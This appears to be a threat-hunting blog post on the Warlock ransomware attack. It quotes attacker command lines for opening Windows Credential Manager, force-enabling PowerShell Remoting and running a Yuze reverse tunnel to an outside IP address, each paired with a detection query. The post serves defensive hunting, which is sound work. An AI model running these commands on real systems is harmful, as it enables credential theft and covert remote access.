383. Hunting for Warlock's Tactics, Techniques and Procedures

Hello everyone!

Today we’ll go over several techniques from the Warlock ransomware attack report that caught my attention.

So, the first technique is Windows Credential Manager (T1555.004). The attackers used the following command to access saved passwords:

C:\Windows\System32\rundll32.exe keymgr.dll,KRShowKeyMgr

This kind of behavioral indicator isn’t very common, so it works well for threat hunting:

event_type: "processcreatewin"

AND

proc_file_path: "rundll32.exe"

AND

cmdline: ("keymgr.dll" AND "KRShowKeyMgr")

The next technique is PowerShell (T1059.001). This time, the attackers abused it to enable PowerShell Remoting:

C:\windows\System32\WindowsPowerShell\v1.0\powershell.exe "Enable-PSRemoting -Force -SkipNetworkProfileCheck"

Although this behavior can be legitimate, it’s still a good target for threat hunting:

event_type: "processcreatewin"

AND

proc_file_path: "powershell.exe"

AND

cmdline: "Enable-PSRemoting"

It’s also worth noting the use of another open-source tunneling tool (Protocol Tunneling (T1572)) — Yuze:

rundll32 yuze.dll,RunYuze reverse -c 198[.]13[.]158[.]193:80

In this case, we can also hunt for the corresponding command-line parameters:

event_type: "processcreatewin"

AND

cmdline: ("reverse" AND "c")

Which of the described techniques from the report did you find interesting?

See you soon!

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